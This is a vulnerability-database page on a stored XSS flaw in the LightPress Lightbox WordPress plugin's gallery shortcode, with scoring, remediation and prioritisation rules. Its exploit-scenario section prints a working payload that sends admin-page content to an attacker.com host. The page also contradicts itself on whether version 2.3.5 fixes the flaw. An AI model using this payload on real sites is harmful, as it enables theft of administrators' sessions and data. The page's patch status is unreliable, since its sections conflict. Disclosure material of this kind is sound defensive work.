Skip to main content

Lightpress Lightbox CVE-2026-4379

| EUVDEUVD-2026-20034 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-08 Wordfence GHSA-2gmw-2prf-4jf5
6.4
CVSS 3.1 · Vendor: Wordfence
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS v3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) indicates a network-accessible vulnerability requiring low privilege (Contributor role or higher) with low attack complexity and no user interaction required. The score of 6.4 reflects moderate impact with confidentiality and integrity compromise across scope boundaries (C:L, I:L) but no availability impact. The key risk determinant is the privilege requirement: while PR:L restricts exploitation to authenticated users with at least Contributor access, WordPress sites commonly grant such roles to multiple team members, consultants, or guest authors, expanding the practical attack surface. The stored XSS nature means injected scripts persist and execute for every visitor, including administrators, making this a persistent compromise vector rather than a transient one. No evidence of active exploitation (KEV status) or publicly available proof-of-concept code was identified at analysis time, but the straightforward nature of the vulnerability (attribute injection in shortcode processing) and availability of source code in the WordPress plugin repository makes weaponization trivial. This should be treated as a medium-to-high priority vulnerability in multi-author WordPress environments.

Exploit ScenarioDerived

An authenticated WordPress user with Contributor role (e.g., guest author or marketing team member) inserts a gallery shortcode into a page with a malicious group attribute such as [gallery group='test" onclick="fetch(\'/admin\').then(r=>r.text()).then(d=>new Image().src=\'http://attacker.com/steal?data=\'+btoa(d))" dummy=\"']. When the plugin renders this shortcode without escaping, the JavaScript executes in the browser of every user-including administrators-viewing the page, allowing session hijacking, credential theft, or site takeover. No user interaction is required for the script to execute once the page loads.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 08, 2026

LightPress Lightbox plugin for WordPress allows authenticated attackers with Contributor-level access and above to inject arbitrary JavaScript via the unescaped group attribute in the [gallery] shortcode, resulting in stored cross-site scripting that executes for all users viewing affected pages. The vulnerability affects all versions up to 2.3.4 and has been addressed in version 2.3.5.

RemediationAI

Update LightPress Lightbox to version 2.3.5 or later immediately. WordPress site administrators should navigate to Plugins → Installed Plugins, locate LightPress Lightbox, and click Update if available. For sites unable to auto-update, manually download version 2.3.5 from the WordPress plugin repository (https://plugins.wordpress.org/lightpress-lightbox/) and upload via Plugins → Add New → Upload Plugin. As a temporary mitigation pending patching, restrict Contributor-level access to users who demonstrably require it, and audit existing gallery shortcodes for suspicious group attribute values that may contain script tags or event handlers. The fix in version 2.3.5 applies proper output escaping to the group attribute; refer to the changeset at plugins.trac.wordpress.org/changeset/?old_path=/wp-jquery-lightbox/tags/2.3.4&new_path=/wp-jquery-lightbox/tags/2.3.5 for technical details.

Affected VersionsENISA

LightPress Lightbox 0 ≤2.3.4

Affected Packages

euvd lightpress_lightbox no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The LightPress Lightbox plugin (CPE: cpe:2.3:a:firelightwp:lightpress_lightbox) extends WordPress's native [gallery] shortcode functionality by processing the group attribute to enable lightbox grouping features. The vulnerability stems from a failure to properly escape or sanitize the group attribute value when outputting it into the HTML/JavaScript context. This is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), a cross-site scripting vulnerability. The affected code in versions through 2.3.4 directly incorporates user-supplied group attribute content into shortcode output without applying WordPress escaping functions such as esc_attr() or esc_js(), allowing malicious script injection through shortcode attributes.

Know when Lightpress Lightbox gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from Vendor (Wordfence) · only source for this CVE.

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The LightPress Lightbox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the group attribute in the [gallery] shortcode in all versions up to, and including, 2.3.4. This is due to the plugin modifying gallery shortcode output to include the group attribute value without proper escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.0%
Top 99% exploitable
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy